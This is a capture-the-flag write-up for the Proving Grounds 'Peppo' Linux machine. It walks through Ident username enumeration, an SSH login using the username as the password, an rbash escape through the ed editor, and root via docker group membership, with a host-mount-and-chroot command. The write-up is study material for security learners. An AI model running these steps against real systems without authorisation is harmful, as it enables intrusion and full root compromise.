Skip to content

Peppo Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Peppo leaks a username through the Ident protocol and that same user turns out to use their own name as their SSH password, landing in a restricted shell. Escaping rbash through the ed editor reveals docker group membership, which is enough on its own to mount the host filesystem and chroot in as root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7
113/tcp   open  ident   FreeBSD identd
8080/tcp  open  http    WEBrick httpd 1.4.2 (Ruby 2.6.6)
10000/tcp open  http    "Hello World"
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

Port 113 runs Ident (RFC 1413), a protocol that reports which system user owns a given TCP connection.

Ident enumeration

Query Ident for every other open port to find out who's running what.

┌──(kali㉿kali)-[~]
└─$ sudo apt install ident-user-enum -y
┌──(kali㉿kali)-[~]
└─$ ident-user-enum $TARGET_IP 22 113 8080 10000
$TARGET_IP:22       root
$TARGET_IP:113      nobody
$TARGET_IP:8080     <unknown>
$TARGET_IP:10000    eleanor

The service on port 10000 runs as eleanor, a valid system username.

Exploitation

Lazy credentials over SSH

Try the username as its own password.

┌──(kali㉿kali)-[~]
└─$ ssh eleanor@$TARGET_IP
eleanor@$TARGET_IP's password:
-rbash: PATH is unset or has an invalid value

The username-as-password combo logs in, but lands in a restricted bash (rbash) shell.

Escaping the restricted shell

Check what's available inside it.

┌──(kali㉿kali)-[~]
└─$ echo $PATH
┌──(kali㉿kali)-[~]
└─$ ls /home/eleanor/bin/
/home/eleanor/bin
chmod  chown  ed  ls  mv  ping  sleep  touch

PATH is locked to a single directory, cd is disabled, and only a handful of binaries are reachable. ed, a line editor, supports ! to run shell commands, which is a classic rbash escape.

┌──(kali㉿kali)-[~]
└─$ ed
!/bin/bash

That spawns a real bash shell, but it still inherits the broken PATH. Fix it manually.

┌──(kali㉿kali)-[~]
└─$ export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
┌──(kali㉿kali)-[~]
└─$ id
uid=1000(eleanor) gid=1000(eleanor) groups=1000(eleanor),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),999(docker)

All standard commands work now, and the flag is readable.

Privilege Escalation

Dead ends, then the docker group

The usual checks come up empty.

┌──(kali㉿kali)-[~]
└─$ sudo -l
┌──(kali㉿kali)-[~]
└─$ find / -perm -4000 -type f 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab
Sorry, user eleanor may not run sudo on peppo.
<standard SUID binaries only>
<default system cron entries only>

The id output from earlier already showed the answer: 999(docker). Docker group membership is effectively root, since a container can mount the host filesystem.

┌──(kali㉿kali)-[~]
└─$ docker images
REPOSITORY   TAG      IMAGE ID       CREATED       SIZE
redmine      latest   0c8429c66e07   6 years ago   542MB
postgres     latest   adf2b126dda8   6 years ago   313MB

Any local image works as the container base. Mount the host's / into the container and chroot into it.

┌──(kali㉿kali)-[~]
└─$ docker run -v /:/mnt --rm -it redmine chroot /mnt bash
root@container:/# whoami
root

The container's root is the host's root once chrooted into the mounted filesystem.

References